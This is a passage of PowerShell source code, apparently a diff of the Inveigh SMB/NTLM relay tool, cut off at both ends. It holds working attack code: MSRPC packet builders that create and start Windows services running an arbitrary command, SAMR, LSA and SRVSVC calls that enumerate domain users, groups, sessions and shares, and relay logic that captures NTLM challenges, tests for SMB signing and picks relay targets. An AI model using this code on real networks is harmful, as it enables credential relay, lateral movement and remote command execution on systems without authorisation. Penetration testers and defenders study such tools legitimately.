$packet_SCMOpenSCManagerW.Add("Database",[Byte[]](0x53,0x00,0x65,0x00,0x72,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x41,0x00,0x63,0x00,0x74,0x00,0x69,0x00,0x76,0x00,0x65,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("Unknown",[Byte[]](0xbf,0xbf)) + $packet_SCMOpenSCManagerW.Add("AccessMask",[Byte[]](0x3f,0x00,0x00,0x00)) + + return $packet_SCMOpenSCManagerW + } + + function New-PacketSCMCreateServiceW + { + param([Byte[]]$ContextHandle,[Byte[]]$Service,[Byte[]]$ServiceLength,[Byte[]]$Command,[Byte[]]$CommandLength) + + $referent_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $referent_ID = $referent_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $referent_ID += 0x00,0x00 + + $SCMCreateServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $SCMCreateServiceW.Add("ContextHandle",$ContextHandle) + $SCMCreateServiceW.Add("ServiceName_MaxCount",$ServiceLength) + $SCMCreateServiceW.Add("ServiceName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $SCMCreateServiceW.Add("ServiceName_ActualCount",$ServiceLength) + $SCMCreateServiceW.Add("ServiceName",$Service) + $SCMCreateServiceW.Add("DisplayName_ReferentID",$referent_ID) + $SCMCreateServiceW.Add("DisplayName_MaxCount",$ServiceLength) + $SCMCreateServiceW.Add("DisplayName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $SCMCreateServiceW.Add("DisplayName_ActualCount",$ServiceLength) + $SCMCreateServiceW.Add("DisplayName",$Service) + $SCMCreateServiceW.Add("AccessMask",[Byte[]](0xff,0x01,0x0f,0x00)) + $SCMCreateServiceW.Add("ServiceType",[Byte[]](0x10,0x00,0x00,0x00)) + $SCMCreateServiceW.Add("ServiceStartType",[Byte[]](0x03,0x00,0x00,0x00)) + $SCMCreateServiceW.Add("ServiceErrorControl",[Byte[]](0x00,0x00,0x00,0x00)) + $SCMCreateServiceW.Add("BinaryPathName_MaxCount",$CommandLength) + $SCMCreateServiceW.Add("BinaryPathName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $SCMCreateServiceW.Add("BinaryPathName_ActualCount",$CommandLength) + $SCMCreateServiceW.Add("BinaryPathName",$Command) + $SCMCreateServiceW.Add("NULLPointer",[Byte[]](0x00,0x00,0x00,0x00)) + $SCMCreateServiceW.Add("TagID",[Byte[]](0x00,0x00,0x00,0x00)) + $SCMCreateServiceW.Add("NULLPointer2",[Byte[]](0x00,0x00,0x00,0x00)) + $SCMCreateServiceW.Add("DependSize",[Byte[]](0x00,0x00,0x00,0x00)) + $SCMCreateServiceW.Add("NULLPointer3",[Byte[]](0x00,0x00,0x00,0x00)) + $SCMCreateServiceW.Add("NULLPointer4",[Byte[]](0x00,0x00,0x00,0x00)) + $SCMCreateServiceW.Add("PasswordSize",[Byte[]](0x00,0x00,0x00,0x00)) + + return $SCMCreateServiceW + } + + function New-PacketSCMStartServiceW + { + param([Byte[]]$ContextHandle) + + $SCMStartServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $SCMStartServiceW.Add("ContextHandle",$ContextHandle) + $SCMStartServiceW.Add("Unknown",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + return $SCMStartServiceW + } + + function New-PacketSCMDeleteServiceW + { + param([Byte[]]$ContextHandle) + + $SCMDeleteServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $SCMDeleteServiceW.Add("ContextHandle",$ContextHandle) + + return $SCMDeleteServiceW + } + + function New-PacketSCMCloseServiceHandle + { + param([Byte[]]$ContextHandle) + + $SCM_CloseServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $SCM_CloseServiceW.Add("ContextHandle",$ContextHandle) + + return $SCM_CloseServiceW + } + + # LSA +function New-PacketLSAOpenPolicy +{ + $LSAOpenPolicy = New-Object System.Collections.Specialized.OrderedDictionary + $LSAOpenPolicy.Add("PointerToSystemName_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) + $LSAOpenPolicy.Add("PointerToSystemName_System",[Byte[]](0x5c,0x00)) + $LSAOpenPolicy.Add("PointerToSystemName_Unknown",[Byte[]](0x00,0x00)) + $LSAOpenPolicy.Add("PointerToAttr_Attr_Len",[Byte[]](0x18,0x00,0x00,0x00)) + $LSAOpenPolicy.Add("PointerToAttr_Attr_NullPointer",[Byte[]](0x00,0x00,0x00,0x00)) + $LSAOpenPolicy.Add("PointerToAttr_Attr_NullPointer2",[Byte[]](0x00,0x00,0x00,0x00)) + $LSAOpenPolicy.Add("PointerToAttr_Attr_Attributes",[Byte[]](0x00,0x00,0x00,0x00)) + $LSAOpenPolicy.Add("PointerToAttr_Attr_NullPointer3",[Byte[]](0x00,0x00,0x00,0x00)) + $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_ReferentID",[Byte[]](0x04,0x00,0x02,0x00)) + $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_Qos_Len",[Byte[]](0x0c,0x00,0x00,0x00)) + $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_ImpersonationLevel",[Byte[]](0x02,0x00)) + $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_ContextMode",[Byte[]](0x01)) + $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_EffectiveOnly",[Byte[]](0x00)) + $LSAOpenPolicy.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) + + return $LSAOpenPolicy +} + +function New-PacketLSAQueryInfoPolicy +{ + param([Byte[]]$Handle) + + $LSAQueryInfoPolicy = New-Object System.Collections.Specialized.OrderedDictionary + $LSAQueryInfoPolicy.Add("PointerToHandle",$Handle) + $LSAQueryInfoPolicy.Add("Level",[Byte[]](0x05,0x00)) + + return $LSAQueryInfoPolicy +} + +function New-PacketLSAClose +{ + param([Byte[]]$Handle) + + $LSAClose = New-Object System.Collections.Specialized.OrderedDictionary + $LSAClose.Add("PointerToHandle",$Handle) + + return $LSAClose +} + +function New-PacketLSALookupSids +{ + param([Byte[]]$Handle,[Byte[]]$SIDArray) + + $LSALookupSids = New-Object System.Collections.Specialized.OrderedDictionary + $LSALookupSids.Add("PointerToHandle",$Handle) + $LSALookupSids.Add("PointerToSIDs_SIDArray",$SIDArray) + $LSALookupSids.Add("PointerToNames_count",[Byte[]](0x00,0x00,0x00,0x00)) + $LSALookupSids.Add("PointerToNames_NULL_pointer",[Byte[]](0x00,0x00,0x00,0x00)) + $LSALookupSids.Add("PointerToNames_level",[Byte[]](0x01,0x00)) + $LSALookupSids.Add("PointerToCount",[Byte[]](0x00,0x00)) + $LSALookupSids.Add("PointerToCount_count",[Byte[]](0x00,0x00,0x00,0x00)) + + return $LSALookupSids +} + +# SAMR + +function New-PacketSAMRConnect2 +{ + param([String]$SystemName) + + [Byte[]]$system_name = [System.Text.Encoding]::Unicode.GetBytes($SystemName) + [Byte[]]$max_count = [System.BitConverter]::GetBytes($SystemName.Length + 1) + + if($SystemName.Length % 2) + { + $system_name += 0x00,0x00 + } + else + { + $system_name += 0x00,0x00,0x00,0x00 + } + + $SAMRConnect2 = New-Object System.Collections.Specialized.OrderedDictionary + $SAMRConnect2.Add("PointerToSystemName_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) + $SAMRConnect2.Add("PointerToSystemName_MaxCount",$max_count) + $SAMRConnect2.Add("PointerToSystemName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $SAMRConnect2.Add("PointerToSystemName_ActualCount",$max_count) + $SAMRConnect2.Add("PointerToSystemName_SystemName",$system_name) + $SAMRConnect2.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) + + return $SAMRConnect2 +} + +function New-PacketSAMRConnect5 +{ + param([String]$SystemName) + + $SystemName = "\\" + $SystemName + [Byte[]]$system_name = [System.Text.Encoding]::Unicode.GetBytes($SystemName) + [Byte[]]$max_count = [System.BitConverter]::GetBytes($SystemName.Length + 1) + + if($SystemName.Length % 2) + { + $system_name += 0x00,0x00 + } + else + { + $system_name += 0x00,0x00,0x00,0x00 + } + + $SAMRConnect5 = New-Object System.Collections.Specialized.OrderedDictionary + $SAMRConnect5.Add("PointerToSystemName_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) + $SAMRConnect5.Add("PointerToSystemName_MaxCount",$max_count) + $SAMRConnect5.Add("PointerToSystemName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $SAMRConnect5.Add("PointerToSystemName_ActualCount",$max_count) + $SAMRConnect5.Add("PointerToSystemName_SystemName",$system_name) + $SAMRConnect5.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) + $SAMRConnect5.Add("LevelIn",[Byte[]](0x01,0x00,0x00,0x00)) + $SAMRConnect5.Add("PointerToInfoIn_SAMRConnectInfo_InfoIn",[Byte[]](0x01,0x00,0x00,0x00)) + $SAMRConnect5.Add("PointerToInfoIn_SAMRConnectInfo_InfoIn1_ClientVersion",[Byte[]](0x02,0x00,0x00,0x00)) + $SAMRConnect5.Add("PointerToInfoIn_SAMRConnectInfo_InfoIn1_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) + + return $SAMRConnect5 +} + +function New-PacketSAMRGetMembersInAlias +{ + param([Byte[]]$Handle) + + $SAMRGetMembersInAlias = New-Object System.Collections.Specialized.OrderedDictionary + $SAMRGetMembersInAlias.Add("PointerToConnectHandle",$Handle) + + return $SAMRGetMembersInAlias +} + +function New-PacketSAMRClose +{ + param([Byte[]]$Handle) + + $SAMRClose = New-Object System.Collections.Specialized.OrderedDictionary + $SAMRClose.Add("PointerToConnectHandle",$Handle) + + return $SAMRClose +} + +function New-PacketSAMROpenAlias +{ + param([Byte[]]$Handle,[Byte[]]$RID) + + $SAMROpenAlias = New-Object System.Collections.Specialized.OrderedDictionary + $SAMROpenAlias.Add("PointerToConnectHandle",$Handle) + $SAMROpenAlias.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) + $SAMROpenAlias.Add("RID",$RID) + + return $SAMROpenAlias +} + +function New-PacketSAMROpenGroup +{ + param([Byte[]]$Handle,[Byte[]]$RID) + + $SAMROpenGroup = New-Object System.Collections.Specialized.OrderedDictionary + $SAMROpenGroup.Add("PointerToConnectHandle",$Handle) + $SAMROpenGroup.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) + $SAMROpenGroup.Add("RID",$RID) + + return $SAMROpenGroup +} + +function New-PacketSAMRQueryGroupMember +{ + param([Byte[]]$Handle) + + $SAMRQueryGroupMember = New-Object System.Collections.Specialized.OrderedDictionary + $SAMRQueryGroupMember.Add("PointerToGroupHandle",$Handle) + + return $SAMRQueryGroupMember +} + +function New-PacketSAMROpenDomain +{ + param([Byte[]]$Handle,[Byte[]]$SIDCount,[Byte[]]$SID) + + $SAMROpenDomain = New-Object System.Collections.Specialized.OrderedDictionary + $SAMROpenDomain.Add("PointerToConnectHandle",$Handle) + $SAMROpenDomain.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) + $SAMROpenDomain.Add("PointerToSid_Count",$SIDCount) + $SAMROpenDomain.Add("PointerToSid_Sid",$SID) + + return $SAMROpenDomain +} + +function New-PacketSAMREnumDomainUsers +{ + param([Byte[]]$Handle) + + $SAMREnumDomainUsers = New-Object System.Collections.Specialized.OrderedDictionary + $SAMREnumDomainUsers.Add("PointerToDomainHandle",$Handle) + $SAMREnumDomainUsers.Add("PointerToResumeHandle",[Byte[]](0x00,0x00,0x00,0x00)) + $SAMREnumDomainUsers.Add("AcctFlags",[Byte[]](0x10,0x00,0x00,0x00)) + $SAMREnumDomainUsers.Add("MaxSize",[Byte[]](0xff,0xff,0x00,0x00)) + + return $SAMREnumDomainUsers +} + +function New-PacketSAMRLookupNames +{ + param([Byte[]]$Handle,[String]$Names) + + [Byte[]]$names_bytes = [System.Text.Encoding]::Unicode.GetBytes($Names) + [Byte[]]$name_len = ([System.BitConverter]::GetBytes($names_bytes.Length))[0,1] + [Byte[]]$max_count = [System.BitConverter]::GetBytes($Names.Length) + + $SAMRLookupNames = New-Object System.Collections.Specialized.OrderedDictionary + $SAMRLookupNames.Add("PointerToDomainHandle",$Handle) + $SAMRLookupNames.Add("NumNames",[Byte[]](0x01,0x00,0x00,0x00)) + $SAMRLookupNames.Add("PointerToNames_MaxCount",[Byte[]](0xe8,0x03,0x00,0x00)) + $SAMRLookupNames.Add("PointerToNames_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $SAMRLookupNames.Add("PointerToNames_ActualCount",[Byte[]](0x01,0x00,0x00,0x00)) + $SAMRLookupNames.Add("PointerToNames_Names_NameLen",$name_len) + $SAMRLookupNames.Add("PointerToNames_Names_NameSize",$name_len) + $SAMRLookupNames.Add("PointerToNames_Names_Name_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) + $SAMRLookupNames.Add("PointerToNames_Names_Name_MaxCount",$max_count) + $SAMRLookupNames.Add("PointerToNames_Names_Name_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $SAMRLookupNames.Add("PointerToNames_Names_Name_ActualCount",$max_count) + $SAMRLookupNames.Add("PointerToNames_Names_Name_Names",$names_bytes) + + return $SAMRLookupNames +} + +function New-PacketSAMRLookupRids +{ + param([Byte[]]$Handle,[Byte[]]$RIDCount,[Byte[]]$Rids) + + $SAMRLookupRIDS = New-Object System.Collections.Specialized.OrderedDictionary + $SAMRLookupRIDS.Add("PointerToDomainHandle",$Handle) + $SAMRLookupRIDS.Add("NumRids",$RIDCount) + $SAMRLookupRIDS.Add("Unknown",[Byte[]](0xe8,0x03,0x00,0x00,0x00,0x00,0x00,0x00)) + $SAMRLookupRIDS.Add("NumRids2",$RIDCount) + $SAMRLookupRIDS.Add("Rids",$Rids) + + return $SAMRLookupRIDS +} + +# SRVSVC +function New-PacketSRVSVCNetSessEnum +{ + param([String]$ServerUNC) + + [Byte[]]$server_UNC = [System.Text.Encoding]::Unicode.GetBytes($ServerUNC) + [Byte[]]$max_count = [System.BitConverter]::GetBytes($ServerUNC.Length + 1) + + if($ServerUNC.Length % 2) + { + $server_UNC += 0x00,0x00 + } + else + { + $server_UNC += 0x00,0x00,0x00,0x00 + } + + $SRVSVCNetSessEnum = New-Object System.Collections.Specialized.OrderedDictionary + $SRVSVCNetSessEnum.Add("PointerToServerUNC_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) + $SRVSVCNetSessEnum.Add("PointerToServerUNC_MaxCount",$max_count) + $SRVSVCNetSessEnum.Add("PointerToServerUNC_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToServerUNC_ActualCount",$max_count) + $SRVSVCNetSessEnum.Add("PointerToServerUNC_ServerUNC",$server_UNC) + $SRVSVCNetSessEnum.Add("PointerToClient_ReferentID",[Byte[]](0x04,0x00,0x02,0x00)) + $SRVSVCNetSessEnum.Add("PointerToClient_MaxCount",[Byte[]](0x01,0x00,0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToClient_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToClient_ActualCount",[Byte[]](0x01,0x00,0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToClient_Client",[Byte[]](0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToUser",[Byte[]](0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToUser_ReferentID",[Byte[]](0x08,0x00,0x02,0x00)) + $SRVSVCNetSessEnum.Add("PointerToUser_MaxCount",[Byte[]](0x01,0x00,0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToUser_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToUser_ActualCount",[Byte[]](0x01,0x00,0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToUser_User",[Byte[]](0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToLevel",[Byte[]](0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToLevel_Level",[Byte[]](0x0a,0x00,0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToCtr_NetSessCtr_Ctr",[Byte[]](0x0a,0x00,0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToCtr_NetSessCtr_PointerToCtr10_ReferentID",[Byte[]](0x0c,0x00,0x02,0x00)) + $SRVSVCNetSessEnum.Add("PointerToCtr_NetSessCtr_PointerToCtr10_Ctr10_Count",[Byte[]](0x00,0x00,0x00,0x00)) + $SRVSVCNetSessEnum.Add("PointerToCtr_NetSessCtr_PointerToCtr10_Ctr10_NullPointer",[Byte[]](0x00,0x00,0x00,0x00)) + $SRVSVCNetSessEnum.Add("MaxBuffer",[Byte[]](0xff,0xff,0xff,0xff)) + $SRVSVCNetSessEnum.Add("PointerToResumeHandle_ReferentID",[Byte[]](0x10,0x00,0x02,0x00)) + $SRVSVCNetSessEnum.Add("PointerToResumeHandle_ResumeHandle",[Byte[]](0x00,0x00,0x00,0x00)) + + return $SRVSVCNetSessEnum +} + +function New-PacketSRVSVCNetShareEnumAll +{ + param([String]$ServerUNC) + + $ServerUNC = "\\" + $ServerUNC + [Byte[]]$server_UNC = [System.Text.Encoding]::Unicode.GetBytes($ServerUNC) + [Byte[]]$max_count = [System.BitConverter]::GetBytes($ServerUNC.Length + 1) + + if($ServerUNC.Length % 2) + { + $server_UNC += 0x00,0x00 + } + else + { + $server_UNC += 0x00,0x00,0x00,0x00 + } + + $SRVSVCNetShareEnum = New-Object System.Collections.Specialized.OrderedDictionary + $SRVSVCNetShareEnum.Add("PointerToServerUNC_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) + $SRVSVCNetShareEnum.Add("PointerToServerUNC_MaxCount",$max_count) + $SRVSVCNetShareEnum.Add("PointerToServerUNC_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $SRVSVCNetShareEnum.Add("PointerToServerUNC_ActualCount",$max_count) + $SRVSVCNetShareEnum.Add("PointerToServerUNC_ServerUNC",$server_UNC) + $SRVSVCNetShareEnum.Add("PointerToLevel_Level",[Byte[]](0x01,0x00,0x00,0x00)) + $SRVSVCNetShareEnum.Add("PointerToCtr_NetShareCtr_Ctr",[Byte[]](0x01,0x00,0x00,0x00)) + $SRVSVCNetShareEnum.Add("PointerToCtr_NetShareCtr_Pointer_ReferentID",[Byte[]](0x04,0x00,0x02,0x00)) + $SRVSVCNetShareEnum.Add("PointerToCtr_NetShareCtr_Pointer_Ctr1_Count",[Byte[]](0x00,0x00,0x00,0x00)) + $SRVSVCNetShareEnum.Add("PointerToCtr_NetShareCtr_Pointer_NullPointer",[Byte[]](0x00,0x00,0x00,0x00)) + $SRVSVCNetShareEnum.Add("MaxBuffer",[Byte[]](0xff,0xff,0xff,0xff)) + $SRVSVCNetShareEnum.Add("ReferentID",[Byte[]](0x08,0x00,0x02,0x00)) + $SRVSVCNetShareEnum.Add("ResumeHandle",[Byte[]](0x00,0x00,0x00,0x00)) + + return $SRVSVCNetShareEnum +} + +} + +# Relay Functions ScriptBlock +$SMB_relay_functions_scriptblock = +{ + + function Get-SMBNTLMChallenge + { + param ([Byte[]]$Payload) + + $payload_converted = [System.BitConverter]::ToString($Payload) + $payload_converted = $payload_converted -replace "-","" + $NTLM_index = $payload_converted.IndexOf("4E544C4D53535000") + + if($payload_converted.SubString(($NTLM_index + 16),8) -eq "02000000") + { + $NTLM_challenge = $payload_converted.SubString(($NTLM_index + 48),16) + } + + $target_name_length = Get-UInt16DataLength (($NTLM_index + 24) / 2) $Payload + $negotiate_flags = [System.Convert]::ToInt16(($payload_converted.SubString(($NTLM_index + 44),2)),16) + $negotiate_flags = [Convert]::ToString($negotiate_flags,2) + $target_info_flag = $negotiate_flags.SubString(0,1) + + if($target_info_flag -eq 1) + { + $target_info_index = ($NTLM_index + 80) / 2 + $target_info_index = $target_info_index + $target_name_length + 16 + $target_info_item_type = $Payload[$target_info_index] + $i = 0 + + while($target_info_item_type -ne 0 -and $i -lt 10) + { + $target_info_item_length = Get-UInt16DataLength ($target_info_index + 2) $Payload + + switch($target_info_item_type) + { + + 2 + { + $netBIOS_domain_name = Convert-DataToString ($target_info_index + 4) $target_info_item_length $Payload + } + + 3 + { + $DNS_computer_name = Convert-DataToString ($target_info_index + 4) $target_info_item_length $Payload + } + + 4 + { + $DNS_domain_name = Convert-DataToString ($target_info_index + 4) $target_info_item_length $Payload + } + + } + + $target_info_index = $target_info_index + $target_info_item_length + 4 + $target_info_item_type = $Payload[$target_info_index] + $i++ + } + + if($netBIOS_domain_name -and $DNS_domain_name -and !$inveigh.domain_mapping_table.$netBIOS_domain_name -and $netBIOS_domain_name -ne $DNS_domain_name) + { + $inveigh.domain_mapping_table.Add($netBIOS_domain_name,$DNS_domain_name) + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] Domain mapping added for $netBIOS_domain_name to $DNS_domain_name") > $null + } + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if($inveigh.enumerate[$i].IP -eq $target -and !$inveigh.enumerate[$i].Hostname) + { + $inveigh.enumerate[$i].Hostname = $DNS_computer_name + $inveigh.enumerate[$i]."DNS Domain" = $DNS_domain_name + $inveigh.enumerate[$i]."netBIOS Domain" = $netBIOS_domain_name + break + } + + } + + } + + return $NTLM_challenge + } + + function Invoke-SMBConnect + { + param ($ProcessID,$SourceIP) + + function Test-SMBPort + { + param ($target) + + $SMB_target_test = New-Object System.Net.Sockets.TCPClient + $SMB_target_test_result = $SMB_target_test.BeginConnect($target,"445",$null,$null) + $SMB_port_test_success = $SMB_target_test_result.AsyncWaitHandle.WaitOne(100,$false) + $SMB_target_test.Close() + + if($SMB_port_test_success) + { + $SMB_server = $true + } + else + { + $SMB_server = $false + } + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if($inveigh.enumerate[$i].IP -eq $target) + { + $target_index = $i + break + } + + } + + if($target_index -and $inveigh.enumerate[$target_index].IP -eq $target) + { + $inveigh.enumerate[$target_index]."SMB Server" = $SMB_server + $inveigh.enumerate[$target_index]."Targeted" = $(Get-Date -format s) + } + else + { + $inveigh.enumerate.Add((New-RelayEnumObject -IP $target -SMBServer $SMB_server -Targeted $(Get-Date -format s))) > $null + } + + return $SMB_port_test_success + } + + function Invoke-SMBNegotiate + { + param ($Target) + + $client = New-Object System.Net.Sockets.TCPClient + $client.Client.ReceiveTimeout = 60000 + $client.Connect($target,"445") + + try + { + $client_stream = $client.GetStream() + $stage = 'NegotiateSMB' + $client_receive = New-Object System.Byte[] 1024 + } + catch + { + $error_message = $_.Exception.Message + $error_message = $error_message -replace "`n","" + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim()) stage $stage") > $null + $stage = 'Exit' + } + + while($stage -ne 'Exit') + { + + try + { + + switch ($stage) + { + + 'NegotiateSMB' + { + $packet_SMB_header = New-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $ProcessID 0x00,0x00 + $packet_SMB_data = New-PacketSMBNegotiateProtocolRequest $SMB_version + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if([System.BitConverter]::ToString($client_receive[4..7]) -eq 'ff-53-4d-42') + { + $SMB2 = $false + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Negotiated SMB1 not supported") > $null + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Trying anonther target") > $null + $client.Close() + $stage = 'Exit' + } + else + { + $SMB2 = $true + $stage = 'NegotiateSMB2' + } + + if($target -and [System.BitConverter]::ToString($client_receive[70]) -eq '03') + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Signing is required on $target") > $null + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Trying another target") > $null + $signing = $true + $client.Close() + $stage = 'Exit' + } + else + { + $signing = $false + } + + } + + 'NegotiateSMB2' + { + $tree_ID = 0x00,0x00,0x00,0x00 + $session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $message_ID = 1 + $packet_SMB2_header = New-PacketSMB2Header 0x00,0x00 0x00,0x00 $false $message_ID $ProcessID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2NegotiateProtocolRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $stage = 'Exit' + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Grabbing challenge for relay from $target") > $null + } + + } + + } + catch + { + $error_message = $_.Exception.Message + $error_message = $error_message -replace "`n","" + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim()) stage $stage") > $null + $stage = 'Exit' + } + + } + + return $client,$SMB2,$signing + } + + function Test-SMBTarget + { + param([Array]$targets,[Int]$limit,[String]$initiator) + + $filter_date = Get-Date + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if(!$inveigh.enumerate[$i].IP -or $inveigh.enumerate[$i].IP -eq $SourceIP -or $inveigh.enumerate[$i].Signing -or $inveigh.enumerate[$i]."SMB2.1" -eq $false -or + ($inveigh.enumerate[$i]."SMB Server" -eq $false -and (New-TimeSpan $inveigh.enumerate[$i].Targeted $filter_date).Minutes -lt $TargetRefresh)) + { + + if($inveigh.enumerate[$i].IP) + { + $targets_excluded += @($inveigh.enumerate[$i].IP) + } + + } + + } + + if($targets -and $targets_excluded) + { + $targets = Compare-Object -ReferenceObject $targets -DifferenceObject $targets_excluded -PassThru | Where-Object {$_.SideIndicator -eq "<="} + $sessions_temp = $inveigh.session + + if($targets -and $inveigh.relay_history_table.$SourceIP -and + (Compare-Object -ReferenceObject $targets -DifferenceObject $inveigh.relay_history_table.$SourceIP | Where-Object {$_.SideIndicator -eq "<="})) + { + [Array]$targets = Compare-Object -ReferenceObject $targets -DifferenceObject $inveigh.relay_history_table.$SourceIP -PassThru | Where-Object {$_.SideIndicator -eq "<="} + } + elseif($targets -and ($sessions_temp | Where-Object {$_.Status})) + { + $targets_temp = $targets + $targets = @() + + foreach($target_entry in $targets_temp) + { + + $sessions = @($sessions_temp | Where-Object {$_.Target -eq $target_entry -and $_.Status -eq 'connected'}) + + if($sessions -and $sessions.Count -lt $limit) + { + $targets += $target_entry + } + elseif($initiator) + { + $sessions = @($sessions_temp | Where-Object {$_.Target -eq $target_entry -and $_.Initiator -eq $initiator -and $_.Status -eq 'connected'}) + + if($sessions -and $sessions.Count -lt $limit) + { + $targets += $target_entry + } + + } + + } + + if(!$targets) + { + + foreach($target_entry in $targets_temp) + { + $sessions = @($sessions_temp | Where-Object {$_.Target -eq $target_entry -and $_.Status -eq 'disconnected'}) + + if($sessions) + { + $targets += $target_entry + } + + } + + } + + } + + } + + if($targets -and $inveigh.target_list) + { + $targets = Compare-Object -ReferenceObject $targets -DifferenceObject $inveigh.target_list -ExcludeDifferent -IncludeEqual -PassThru + } + + $i = 0 + $random_index_history = @() + + while(!$target -and $i -lt $targets.Count) + { + $i++ + + if($targets.Count -eq 1) + { + $target = $targets[0] + } + else + { + $random_range = 0..($targets.Count - 1) + $random_range_filtered = $random_range | Where-Object {$random_index_history -notcontains $_} + + if($random_range_filtered) + { + $random_index = Get-Random -InputObject $random_range_filtered + $random_index_history += $random_index + $target = $targets[$random_index] + } + + } + + if($target -eq $SourceIP) + { + $target = $null + } + + if($target) + { + $SMB_port_test_success = Test-SMBPort $target + + if($SMB_port_test_success) + { + $SMB_negotiate = Invoke-SMBNegotiate $target + $client = $SMB_negotiate[0] + $SMB2 = $SMB_negotiate[1] + $signing = $SMB_negotiate[2] + $SMB_server = $true + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if($inveigh.enumerate[$i].IP -eq $target) + { + $target_index = $i + break + } + + } + + $inveigh.enumerate[$target_index]."SMB2.1" = $SMB2 + $inveigh.enumerate[$target_index].Signing = $signing + $inveigh.enumerate[$target_index]."SMB Server" = $SMB_server + $inveigh.enumerate[$target_index]."Targeted" = $(Get-Date -format s) + + if(!$SMB2 -and $signing) + { + $target = $null + } + + } + else + { + $target = $null + } + + } + + } + + return $client,$target + } + + if($inveigh.target_list.Count -gt 1 -or (!$inveigh.target_list -and $inveigh.enumerate)) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Searching for a target") > $null + } + + try + { + $targets = $null + $target = $null + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if($inveigh.enumerate[$i].IP -eq $SourceIP -and $inveigh.enumerate[$i].Sessions) + { + [Array]$initiator_sessions = $inveigh.enumerate[$i].Sessions + break + } + + } + + $initiator_sessions = $initiator_sessions | Sort-Object 